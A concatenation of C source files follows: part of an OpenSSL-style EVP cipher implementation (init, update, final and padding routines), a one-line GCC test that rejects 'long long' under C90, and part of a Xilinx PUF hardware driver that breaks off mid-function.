OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_NO_CIPHER_SET);
return 0;
}
/* we assume block size is a power of 2 in *cryptUpdate */
assert(ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 ||
ctx->cipher->block_size == 16);
if (!(EVP_CIPHER_CTX_flags(ctx) & EVP_CIPH_CUSTOM_IV)) {
switch (EVP_CIPHER_CTX_mode(ctx)) {
case EVP_CIPH_STREAM_CIPHER:
case EVP_CIPH_ECB_MODE:
break;
case EVP_CIPH_CFB_MODE:
ctx->num = 0;
/* fall-through */
case EVP_CIPH_CBC_MODE:
assert(EVP_CIPHER_CTX_iv_length(ctx) <= sizeof(ctx->iv));
if (iv) {
memcpy(ctx->oiv, iv, EVP_CIPHER_CTX_iv_length(ctx));
}
memcpy(ctx->iv, ctx->oiv, EVP_CIPHER_CTX_iv_length(ctx));
break;
case EVP_CIPH_CTR_MODE:
case EVP_CIPH_OFB_MODE:
ctx->num = 0;
/* Don't reuse IV for CTR mode */
if (iv) {
memcpy(ctx->iv, iv, EVP_CIPHER_CTX_iv_length(ctx));
}
break;
default:
return 0;
}
}
if (key || (ctx->cipher->flags & EVP_CIPH_ALWAYS_CALL_INIT)) {
if (!ctx->cipher->init(ctx, key, iv, enc)) {
return 0;
}
}
ctx->buf_len = 0;
ctx->final_used = 0;
ctx->block_mask = ctx->cipher->block_size - 1;
return 1;
}
int EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
ENGINE *impl, const uint8_t *key, const uint8_t *iv) {
return EVP_CipherInit_ex(ctx, cipher, impl, key, iv, 1);
}
int EVP_DecryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
ENGINE *impl, const uint8_t *key, const uint8_t *iv) {
return EVP_CipherInit_ex(ctx, cipher, impl, key, iv, 0);
}
int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, uint8_t *out, int *out_len,
const uint8_t *in, int in_len) {
int i, j, bl;
if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
i = ctx->cipher->cipher(ctx, out, in, in_len);
if (i < 0) {
return 0;
} else {
*out_len = i;
}
return 1;
}
if (in_len <= 0) {
*out_len = 0;
return in_len == 0;
}
if (ctx->buf_len == 0 && (in_len & ctx->block_mask) == 0) {
if (ctx->cipher->cipher(ctx, out, in, in_len)) {
*out_len = in_len;
return 1;
} else {
*out_len = 0;
return 0;
}
}
i = ctx->buf_len;
bl = ctx->cipher->block_size;
assert(bl <= (int)sizeof(ctx->buf));
if (i != 0) {
if (i + in_len < bl) {
memcpy(&ctx->buf[i], in, in_len);
ctx->buf_len += in_len;
*out_len = 0;
return 1;
} else {
j = bl - i;
memcpy(&ctx->buf[i], in, j);
if (!ctx->cipher->cipher(ctx, out, ctx->buf, bl)) {
return 0;
}
in_len -= j;
in += j;
out += bl;
*out_len = bl;
}
} else {
*out_len = 0;
}
i = in_len & ctx->block_mask;
in_len -= i;
if (in_len > 0) {
if (!ctx->cipher->cipher(ctx, out, in, in_len)) {
return 0;
}
*out_len += in_len;
}
if (i != 0) {
memcpy(ctx->buf, &in[in_len], i);
}
ctx->buf_len = i;
return 1;
}
int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, uint8_t *out, int *out_len) {
int n, ret;
unsigned int i, b, bl;
if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
ret = ctx->cipher->cipher(ctx, out, NULL, 0);
if (ret < 0) {
return 0;
} else {
*out_len = ret;
}
return 1;
}
b = ctx->cipher->block_size;
assert(b <= sizeof(ctx->buf));
if (b == 1) {
*out_len = 0;
return 1;
}
bl = ctx->buf_len;
if (ctx->flags & EVP_CIPH_NO_PADDING) {
if (bl) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_DATA_NOT_MULTIPLE_OF_BLOCK_LENGTH);
return 0;
}
*out_len = 0;
return 1;
}
n = b - bl;
for (i = bl; i < b; i++) {
ctx->buf[i] = n;
}
ret = ctx->cipher->cipher(ctx, out, ctx->buf, b);
if (ret) {
*out_len = b;
}
return ret;
}
int EVP_DecryptUpdate(EVP_CIPHER_CTX *ctx, uint8_t *out, int *out_len,
const uint8_t *in, int in_len) {
int fix_len;
unsigned int b;
if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
int r = ctx->cipher->cipher(ctx, out, in, in_len);
if (r < 0) {
*out_len = 0;
return 0;
} else {
*out_len = r;
}
return 1;
}
if (in_len <= 0) {
*out_len = 0;
return in_len == 0;
}
if (ctx->flags & EVP_CIPH_NO_PADDING) {
return EVP_EncryptUpdate(ctx, out, out_len, in, in_len);
}
b = ctx->cipher->block_size;
assert(b <= sizeof(ctx->final));
if (ctx->final_used) {
memcpy(out, ctx->final, b);
out += b;
fix_len = 1;
} else {
fix_len = 0;
}
if (!EVP_EncryptUpdate(ctx, out, out_len, in, in_len)) {
return 0;
}
/* if we have 'decrypted' a multiple of block size, make sure
* we have a copy of this last block */
if (b > 1 && !ctx->buf_len) {
*out_len -= b;
ctx->final_used = 1;
memcpy(ctx->final, &out[*out_len], b);
} else {
ctx->final_used = 0;
}
if (fix_len) {
*out_len += b;
}
return 1;
}
int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *out_len) {
int i, n;
unsigned int b;
*out_len = 0;
if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
i = ctx->cipher->cipher(ctx, out, NULL, 0);
if (i < 0) {
return 0;
} else {
*out_len = i;
}
return 1;
}
b = ctx->cipher->block_size;
if (ctx->flags & EVP_CIPH_NO_PADDING) {
if (ctx->buf_len) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_DATA_NOT_MULTIPLE_OF_BLOCK_LENGTH);
return 0;
}
*out_len = 0;
return 1;
}
if (b > 1) {
if (ctx->buf_len || !ctx->final_used) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_WRONG_FINAL_BLOCK_LENGTH);
return 0;
}
assert(b <= sizeof(ctx->final));
/* The following assumes that the ciphertext has been authenticated.
* Otherwise it provides a padding oracle. */
n = ctx->final[b - 1];
if (n == 0 || n > (int)b) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_BAD_DECRYPT);
return 0;
}
for (i = 0; i < n; i++) {
if (ctx->final[--b] != n) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_BAD_DECRYPT);
return 0;
}
}
n = ctx->cipher->block_size - n;
for (i = 0; i < n; i++) {
out[i] = ctx->final[i];
}
*out_len = n;
} else {
*out_len = 0;
}
return 1;
}
int EVP_Cipher(EVP_CIPHER_CTX *ctx, uint8_t *out, const uint8_t *in,
size_t in_len) {
return ctx->cipher->cipher(ctx, out, in, in_len);
}
int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, uint8_t *out, int *out_len,
const uint8_t *in, int in_len) {
if (ctx->encrypt) {
return EVP_EncryptUpdate(ctx, out, out_len, in, in_len);
} else {
return EVP_DecryptUpdate(ctx, out, out_len, in, in_len);
}
}
int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, uint8_t *out, int *out_len) {
if (ctx->encrypt) {
return EVP_EncryptFinal_ex(ctx, out, out_len);
} else {
return EVP_DecryptFinal_ex(ctx, out, out_len);
}
}
const EVP_CIPHER *EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher;
}
int EVP_CIPHER_CTX_nid(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher->nid;
}
unsigned EVP_CIPHER_CTX_block_size(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher->block_size;
}
unsigned EVP_CIPHER_CTX_key_length(const EVP_CIPHER_CTX *ctx) {
return ctx->key_len;
}
unsigned EVP_CIPHER_CTX_iv_length(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher->iv_len;
}
void *EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX *ctx) {
return ctx->app_data;
}
void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX *ctx, void *data) {
ctx->app_data = data;
}
uint32_t EVP_CIPHER_CTX_flags(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher->flags & ~EVP_CIPH_MODE_MASK;
}
uint32_t EVP_CIPHER_CTX_mode(const EVP_CIPHER_CTX *ctx) {
return ctx->cipher->flags & EVP_CIPH_MODE_MASK;
}
int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX *ctx, int command, int arg, void *ptr) {
int ret;
if (!ctx->cipher) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_NO_CIPHER_SET);
return 0;
}
if (!ctx->cipher->ctrl) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_CTRL_NOT_IMPLEMENTED);
return 0;
}
ret = ctx->cipher->ctrl(ctx, command, arg, ptr);
if (ret == -1) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_CTRL_OPERATION_NOT_IMPLEMENTED);
return 0;
}
return ret;
}
int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *ctx, int pad) {
if (pad) {
ctx->flags &= ~EVP_CIPH_NO_PADDING;
} else {
ctx->flags |= EVP_CIPH_NO_PADDING;
}
return 1;
}
int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX *c, unsigned key_len) {
if (c->key_len == key_len) {
return 1;
}
if (key_len == 0 || !(c->cipher->flags & EVP_CIPH_VARIABLE_LENGTH)) {
OPENSSL_PUT_ERROR(CIPHER, CIPHER_R_INVALID_KEY_LENGTH);
return 0;
}
c->key_len = key_len;
return 1;
}
int EVP_CIPHER_nid(const EVP_CIPHER *cipher) { return cipher->nid; }
unsigned EVP_CIPHER_block_size(const EVP_CIPHER *cipher) {
return cipher->block_size;
}
unsigned EVP_CIPHER_key_length(const EVP_CIPHER *cipher) {
return cipher->key_len;
}
unsigned EVP_CIPHER_iv_length(const EVP_CIPHER *cipher) {
return cipher->iv_len;
}
uint32_t EVP_CIPHER_flags(const EVP_CIPHER *cipher) {
return cipher->flags & ~EVP_CIPH_MODE_MASK;
}
uint32_t EVP_CIPHER_mode(const EVP_CIPHER *cipher) {
return cipher->flags & EVP_CIPH_MODE_MASK;
}
int EVP_CipherInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
const uint8_t *key, const uint8_t *iv, int enc) {
if (cipher) {
EVP_CIPHER_CTX_init(ctx);
}
return EVP_CipherInit_ex(ctx, cipher, NULL, key, iv, enc);
}
int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
const uint8_t *key, const uint8_t *iv) {
return EVP_CipherInit(ctx, cipher, key, iv, 1);
}
int EVP_DecryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher,
const uint8_t *key, const uint8_t *iv) {
return EVP_CipherInit(ctx, cipher, key, iv, 0);
}
int EVP_add_cipher_alias(const char *a, const char *b) {
return 1;
}
const EVP_CIPHER *EVP_get_cipherbyname(const char *name) {
if (OPENSSL_strcasecmp(name, "rc4") == 0) {
return EVP_rc4();
} else if (OPENSSL_strcasecmp(name, "des-cbc") == 0) {
return EVP_des_cbc();
} else if (OPENSSL_strcasecmp(name, "des-ede3-cbc") == 0 ||
OPENSSL_strcasecmp(name, "3des") == 0) {
return EVP_des_ede3_cbc();
} else if (OPENSSL_strcasecmp(name, "aes-128-cbc") == 0) {
return EVP_aes_128_cbc();
} else if (OPENSSL_strcasecmp(name, "aes-256-cbc") == 0) {
return EVP_aes_256_cbc();
} else if (OPENSSL_strcasecmp(name, "aes-128-ctr") == 0) {
return EVP_aes_128_ctr();
} else if (OPENSSL_strcasecmp(name, "aes-256-ctr") == 0) {
return EVP_aes_256_ctr();
} else if (OPENSSL_strcasecmp(name, "aes-128-ecb") == 0) {
return EVP_aes_128_ecb();
} else if (OPENSSL_strcasecmp(name, "aes-256-ecb") == 0) {
return EVP_aes_256_ecb();
}
return NULL;
}
|
991690.c | /* Test for long long: in C99 only. */
/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-options "-std=iso9899:1990 -pedantic-errors" } */
long long foo; /* { dg-error "long long" "long long not in C90" } */
|
957718.c | /******************************************************************************
* Copyright (c) 2019 - 2021 Xilinx, Inc. All rights reserved.
* SPDX-License-Identifier: MIT
******************************************************************************/
/*****************************************************************************/
/**
*
* @file xpuf.c
*
* This file contains PUF hardware interface API definitions
*
* <pre>
* MODIFICATION HISTORY:
*
* Ver Who Date Changes
* ----- ---- ---------- -------------------------------------------------------
* 1.0 kal 08/01/2019 Initial release
* har 09/24/2019 Fixed MISRA-C violations
* 1.1 har 01/27/2020 Added support for on-demand regeneration from efuse cache,
* ID only regeneration and XPuf_Validate_Access_Rules
* 1.2 har 07/03/2020 Renamed XPUF_ID_LENGTH macro as XPUF_ID_LEN_IN_WORDS
* am 08/04/2020 Resolved MISRA C Violations
* am 08/19/2020 Resolved MISRA C violations.
* har 09/30/2020 Updated XPUF_STATUS_WAIT_TIMEOUT as per the recommended
* software timeout
* am 10/10/2020 Resolved MISRA C violations
* har 10/17/2020 Added checks for mismatch between MSB of PUF shutter
* value and Global Variation Filter option
* 1.3 am 11/23/2020 Resolved MISRA C violation Rule 10.6
* har 01/06/2021 Added API to clear PUF ID
* am 01/14/2021 Resolved HIS_CCM Code complexity violations
* har 02/03/2021 Improved input validation check in XPuf_Regeneration
* har 02/12/2021 Replaced while loop in PUF registration with for loop
* har 02/12/2021 Added a redundancy check for MaxSyndromeSizeInWords to
* avoid potential buffer overflow
* har 03/08/2021 Added checks for IRO frequency
* har 05/03/2021 Restructured code in XPuf_StartRegeneration to remove
* repeated code
* am 05/18/2021 Resolved MISRA C violations
* 1.4 har 07/09/2021 Fixed Doxygen warnings
* har 08/12/2021 Added comment related to IRO frequency
*
* </pre>
*
* @note
*
******************************************************************************/
/***************************** Include Files *********************************/
#include "sleep.h"
#include "xpuf.h"
#include "xpuf_hw.h"
#include "xil_util.h"
#include "xil_mem.h"
#include "xil_io.h"
#include "xil_printf.h"
/************************** Constant Definitions *****************************/
#define XPUF_STATUS_WAIT_TIMEOUT (1000000U)
/**< Recommended software timeout is 1 second */
#define XPUF_SHUT_GLB_VAR_FLTR_ENABLED_SHIFT (31)
/**< Shift for Global Variation Filter bit in shutter value */
/********************Macros (Inline function) Definitions*********************/
#define XPuf_Printf(DebugType, ...) \
if ((DebugType) == (1U)) {xil_printf (__VA_ARGS__);}
/**< For prints in XilPuf library */
/*****************************************************************************/
/**
* @brief This function waits till Puf Syndrome ready bit is set.
*
* @return XST_SUCCESS Syndrome word is ready.
* XST_FAILURE Timeout occurred.
*
*****************************************************************************/
static inline int XPuf_WaitForPufSynWordRdy(void)
{
return (int)Xil_WaitForEvent((XPUF_PMC_GLOBAL_BASEADDR +
XPUF_PMC_GLOBAL_PUF_STATUS_OFFSET),
XPUF_STATUS_SYNDROME_WORD_RDY, XPUF_STATUS_SYNDROME_WORD_RDY,
XPUF_STATUS_WAIT_TIMEOUT);
}
/*****************************************************************************/
/**
* @brief This function waits till Puf done bit is set.
*
* @return XST_SUCCESS Puf Operation is done.
* XST_FAILURE Timeout occurred.
*
*****************************************************************************/
static inline int XPuf_WaitForPufDoneStatus(void)
{
return (int)Xil_WaitForEvent((XPUF_PMC_GLOBAL_BASEADDR +
XPUF_PMC_GLOBAL_PUF_STATUS_OFFSET), XPUF_STATUS_PUF_DONE,
XPUF_STATUS_PUF_DONE, XPUF_STATUS_WAIT_TIMEOUT);
}
/*****************************************************************************/
/**
*
* @brief This function reads the value from the given register.
*
* @param BaseAddress is the base address of the module which consists
* the register
* @param RegOffset is the register offset of the register.
*
* @return The 32-bit value of the register.
*
* ***************************************************************************/
static inline u32 XPuf_ReadReg(u32 BaseAddress, u32 RegOffset)
{
return Xil_In32((UINTPTR)(BaseAddress + RegOffset));
}
/*****************************************************************************/
/**
*
* @brief This function writes the value into the given register.
*
* @param BaseAddress is the base address of the module which consists
* the register
* @param RegOffset is the register offset of the register.
* @param Data is the 32-bit value to write to the register.
*
* @return None.
*
*****************************************************************************/
static inline void XPuf_WriteReg(u32 BaseAddress, u32 RegOffset, u32 Data)
{
Xil_Out32((UINTPTR)(BaseAddress + RegOffset), Data);
}
/*****************************************************************************/
/**
* @brief This function configures the Global Variation Filter option provided
* by user and updates Puf Cfg0 register
*
* @param GlobalVarFilter - User configuration to enable/disable
* Global Variation Filter in PUF
*
*****************************************************************************/
static inline void XPuf_CfgGlobalVariationFilter(const u8 GlobalVarFilter)
{
if (GlobalVarFilter == TRUE) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG0_OFFSET,
(XPUF_CFG0_HASH_SEL | XPUF_CFG0_GLOBAL_FILTER_ENABLE));
}
else {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG0_OFFSET,
XPUF_CFG0_HASH_SEL);
}
}
/*****************************************************************************/
/**
*
* @brief This function checks if the IRO frequency at time of PUF
* operation matches IRO frequency at boot i.e. 320 MHz.
*
* @return XST_SUCCESS if IRO frequency is 320 MHz
* XPUF_IRO_FREQ_MISMATCH - IRO frequency is not 320 MHz
*
*****************************************************************************/
static inline int XPuf_CheckIroFreq(void)
{
int Status = XPUF_IRO_FREQ_MISMATCH;
if (XPuf_ReadReg(XPUF_EFUSE_CTRL_BASEADDR,
XPUF_ANLG_OSC_SW_1LP_OFFSET) != 0U) {
goto END;
}
Status = XST_SUCCESS;
END:
return Status;
}
/************************** Function Prototypes ******************************/
static void XPuf_CapturePufID(XPuf_Data *PufData);
static int XPuf_ValidateAccessRules(const XPuf_Data *PufData);
static int XPuf_UpdateHelperData(const XPuf_Data *PufData);
static int XPuf_StartRegeneration(XPuf_Data *PufData);
/************************** Function Definitions *****************************/
/*****************************************************************************/
/**
* @brief This functions performs PUF registration
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - PUF registration successful
* XPUF_ERROR_INVALID_PARAM - PufData is NULL
* XPUF_ERROR_INVALID_SYNDROME_MODE - Incorrect Registration mode
* XPUF_ERROR_SYNDROME_WORD_WAIT_TIMEOUT - Timeout occurred while
* waiting for PUF Syndrome data
* XPUF_ERROR_PUF_DONE_WAIT_TIMEOUT - Timeout occurred while
* waiting for PUF done bit
* XPUF_IRO_FREQ_MISMATCH - Mismatch in IRO frequency
* at the time of PUF registration
* XST_FAILURE - Unexpected event
*
* @note Helper data will be available in PufData->SyndromeData,
* PufData->Chash, PufData->Aux
* PUF is only supported when using a nominal VCC_PMC of 0.70V or
* IRO frequency of 320 MHz
*
*****************************************************************************/
int XPuf_Registration(XPuf_Data *PufData)
{
volatile int Status = XST_FAILURE;
volatile u32 MaxSyndromeSizeInWords;
u32 Idx = 0U;
if (PufData == NULL) {
Status = XPUF_ERROR_INVALID_PARAM;
goto END;
}
/*
* Error code shall be returned if MSB of PUF shutter value does not
* match with Global Variation Filter option
*/
if (((PufData->ShutterValue >> XPUF_SHUT_GLB_VAR_FLTR_ENABLED_SHIFT) ^
PufData->GlobalVarFilter) == TRUE) {
Status = XPUF_SHUTTER_GVF_MISMATCH;
goto END;
}
Status = XPuf_CheckIroFreq();
if(Status != XST_SUCCESS) {
goto END;
}
Status = XPuf_ValidateAccessRules(PufData);
if(Status != XST_SUCCESS) {
goto END;
}
XPuf_CfgGlobalVariationFilter(PufData->GlobalVarFilter);
if (XPUF_SYNDROME_MODE_4K == PufData->RegMode) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG1_OFFSET,
XPUF_CFG1_INIT_VAL_4K);
MaxSyndromeSizeInWords = XPUF_4K_PUF_SYN_LEN_IN_WORDS;
}
else if (XPUF_SYNDROME_MODE_12K == PufData->RegMode) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG1_OFFSET,
XPUF_CFG1_INIT_VAL_12K);
MaxSyndromeSizeInWords = XPUF_12K_PUF_SYN_LEN_IN_WORDS;
}
else {
Status = XPUF_ERROR_INVALID_SYNDROME_MODE;
goto END;
}
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_SHUT_OFFSET,
PufData->ShutterValue);
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CMD_OFFSET,
XPUF_CMD_REGISTRATION);
/*
* Recheck MaxSyndromeSizeInWords before use to avoid overflow
*/
if (XPUF_SYNDROME_MODE_4K == PufData->RegMode) {
MaxSyndromeSizeInWords = XPUF_4K_PUF_SYN_LEN_IN_WORDS;
}
else {
MaxSyndromeSizeInWords = XPUF_12K_PUF_SYN_LEN_IN_WORDS;
}
Status = XST_FAILURE;
for (Idx = 0; Idx < MaxSyndromeSizeInWords; Idx++) {
Status = XPuf_WaitForPufSynWordRdy();
if (Status != XST_SUCCESS) {
Status = XPUF_ERROR_SYNDROME_WORD_WAIT_TIMEOUT;
goto END;
}
PufData->SyndromeData[Idx] = XPuf_ReadReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_WORD_OFFSET);
}
if (Idx == MaxSyndromeSizeInWords) {
Status = XST_FAILURE;
Status = XPuf_WaitForPufDoneStatus();
if (Status != XST_SUCCESS) {
Status = XPUF_ERROR_PUF_DONE_WAIT_TIMEOUT;
goto END;
}
PufData->Chash = XPuf_ReadReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_CHASH_OFFSET);
PufData->Aux = XPuf_ReadReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_AUX_OFFSET);
XPuf_CapturePufID(PufData);
}
else {
Status = XPUF_ERROR_SYN_DATA_ERROR;
goto END;
}
END:
return Status;
}
/*****************************************************************************/
/**
* @brief This function regenerate PUF data using helper data stored in eFUSE
* or external memory
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - PUF Regeneration successful
* XPUF_ERROR_INVALID_PARAM - PufData is NULL
* XPUF_ERROR_INVALID_REGENERATION_TYPE - Selection of invalid
* regeneration type
* XPUF_ERROR_CHASH_NOT_PROGRAMMED - Helper data not provided
* XPUF_ERROR_PUF_STATUS_DONE_TIMEOUT - Timeout occurred while
* waiting for PUF done bit
* XPUF_ERROR_PUF_DONE_KEY_ID_NT_RDY - Key ready bit and ID ready
* bit is not set
* XPUF_ERROR_PUF_DONE_ID_NT_RDY - Id ready bit is not set
* XPUF_IRO_FREQ_MISMATCH - Mismatch in IRO frequency
* at the time of PUF regeneration
* XST_FAILURE - Unexpected event
*
* @note PUF is only supported when using a nominal VCC_PMC of 0.70V or
* IRO frequency of 320 MHz
*
*****************************************************************************/
int XPuf_Regeneration(XPuf_Data *PufData)
{
volatile int Status = XST_FAILURE;
if (PufData == NULL) {
Status = XPUF_ERROR_INVALID_PARAM;
goto END;
}
if ((PufData->PufOperation != XPUF_REGEN_ON_DEMAND) &&
(PufData->PufOperation != XPUF_REGEN_ID_ONLY)) {
Status = XPUF_ERROR_INVALID_PARAM;
goto END;
}
/*
* Error code shall be returned if MSB of PUF shutter value does not
* match with Global Variation Filter option
*/
if (((PufData->ShutterValue >> XPUF_SHUT_GLB_VAR_FLTR_ENABLED_SHIFT) ^
PufData->GlobalVarFilter) == TRUE) {
Status = XPUF_SHUTTER_GVF_MISMATCH;
goto END;
}
Status = XPuf_CheckIroFreq();
if(Status != XST_SUCCESS) {
goto END;
}
Status = XPuf_ValidateAccessRules(PufData);
if (Status != XST_SUCCESS) {
goto END;
}
Status = XST_FAILURE;
Status = XPuf_UpdateHelperData(PufData);
if (Status != XST_SUCCESS) {
goto END;
}
XPuf_CfgGlobalVariationFilter(PufData->GlobalVarFilter);
if (XPUF_SYNDROME_MODE_4K == PufData->RegMode) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG1_OFFSET,
XPUF_CFG1_INIT_VAL_4K);
}
else {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CFG1_OFFSET,
XPUF_CFG1_INIT_VAL_12K);
}
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_SHUT_OFFSET,
PufData->ShutterValue);
Status = XST_FAILURE;
Status = XPuf_StartRegeneration(PufData);
if (Status != XST_SUCCESS) {
goto END;
}
END:
return Status;
}
/*****************************************************************************/
/**
* @brief This function clears PUF ID
*
* @return XST_SUCCESS - PUF ID is successfully cleared
* XPUF_ERROR_PUF_ID_ZERO_TIMEOUT - Timeout occurred for clearing
* PUF ID
* XST_FAILURE - Unexpected event
*
*****************************************************************************/
int XPuf_ClearPufID(void)
{
int Status = XST_FAILURE;
int WaitStatus = XST_FAILURE;
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CLEAR_OFFSET,
XPUF_CLEAR_ID);
WaitStatus = (int)Xil_WaitForEvent((XPUF_PMC_GLOBAL_BASEADDR +
XPUF_PMC_GLOBAL_PUF_STATUS_OFFSET), XPUF_STATUS_ID_ZERO,
XPUF_STATUS_ID_ZERO, XPUF_STATUS_WAIT_TIMEOUT);
if (WaitStatus != XST_SUCCESS) {
Status = XPUF_ERROR_PUF_ID_ZERO_TIMEOUT;
}
else {
Status = XST_SUCCESS;
}
return Status;
}
/*****************************************************************************/
/**
* @brief This function captures PUF ID generated into XPuf_Data.
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
*****************************************************************************/
static void XPuf_CapturePufID(XPuf_Data *PufData)
{
u32 Index;
for (Index = 0U; Index < XPUF_ID_LEN_IN_WORDS; Index++) {
PufData->PufID[Index] = XPuf_ReadReg(XPUF_PMC_GLOBAL_BASEADDR,
(XPUF_PMC_GLOBAL_PUF_ID_0_OFFSET + (Index * XPUF_WORD_LENGTH)));
}
}
/*****************************************************************************/
/**
* @brief This function validates if secure control bits for each PUF
* operations are set or not
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - secure control bits are not set
* XPUF_ERROR_REGISTRATION_INVALID - PUF registration is not allowed
* XPUF_ERROR_REGENERATION_INVALID - PUF regeneration is not allowed
* XPUF_ERROR_REGEN_PUF_HD_INVALID - PUF HD in eFUSE id invalidated
* XPUF_ERROR_INVALID_SYNDROME_MODE - If regeneration from eFUSE cache
* is selected with 12K syndrome mode
* XPUF_ERROR_INVALID_PUF_OPERATION - In case of invalid PUF operation
* XST_FAILURE - Unexpected event
*
*****************************************************************************/
static int XPuf_ValidateAccessRules(const XPuf_Data *PufData)
{
int Status = XST_FAILURE;
u32 Operation = PufData->PufOperation;
u32 PufEccCtrlValue = XPuf_ReadReg(XPUF_EFUSE_CACHE_BASEADDR,
XPUF_PUF_ECC_PUF_CTRL_OFFSET);
u32 SecurityCtrlVal = XPuf_ReadReg(XPUF_EFUSE_CACHE_BASEADDR,
XPUF_EFUSE_CACHE_SECURITY_CONTROL);
switch (Operation) {
/* For Registration */
case XPUF_REGISTRATION:
if ((SecurityCtrlVal & XPUF_PUF_DIS) == XPUF_PUF_DIS) {
Status = XPUF_ERROR_REGISTRATION_INVALID;
}
else {
Status = XST_SUCCESS;
}
break;
/* For Regeneration */
case XPUF_REGEN_ON_DEMAND:
case XPUF_REGEN_ID_ONLY:
if (((SecurityCtrlVal & XPUF_PUF_DIS) == XPUF_PUF_DIS) ||
((PufEccCtrlValue & XPUF_PUF_REGEN_DIS) == XPUF_PUF_REGEN_DIS)) {
Status = XPUF_ERROR_REGENERATION_INVALID;
}
else if((PufData->ReadOption == XPUF_READ_FROM_EFUSE_CACHE) &&
((PufEccCtrlValue & XPUF_PUF_HD_INVLD) == XPUF_PUF_HD_INVLD)) {
Status = XPUF_ERROR_REGEN_PUF_HD_INVALID;
}
else if((PufData->ReadOption == XPUF_READ_FROM_EFUSE_CACHE) &&
(PufData->RegMode == XPUF_SYNDROME_MODE_12K)) {
Status = XPUF_ERROR_INVALID_SYNDROME_MODE;
}
else {
Status = XST_SUCCESS;
}
break;
default:
Status = XPUF_ERROR_INVALID_PUF_OPERATION;
break;
}
return Status;
}
/*****************************************************************************/
/**
* @brief This function updates the helper data for PUF regeneration
* according to the location of helper data provided by the user
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - On valid Read option
* XPUF_ERROR_INVALID_READ_HD_INPUT - On invalid Read option
* XST_FAILURE - On unexpected event
*
*****************************************************************************/
static int XPuf_UpdateHelperData(const XPuf_Data *PufData)
{
int Status = XST_FAILURE;
u32 PufChash;
u32 PufAux;
if (PufData->ReadOption == XPUF_READ_FROM_RAM) {
PufChash = PufData->Chash;
PufAux = PufData->Aux;
if ((PufChash == 0U) || (PufAux == 0U)) {
Status = XPUF_ERROR_CHASH_NOT_PROGRAMMED;
XPuf_Printf(XPUF_DEBUG_GENERAL,
"PUF regeneration is not allowed,"
"as PUF helper data is not provided/stored\r\n");
goto END;
}
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_AUX_OFFSET,
PufAux);
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_CHASH_OFFSET, PufChash);
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR,
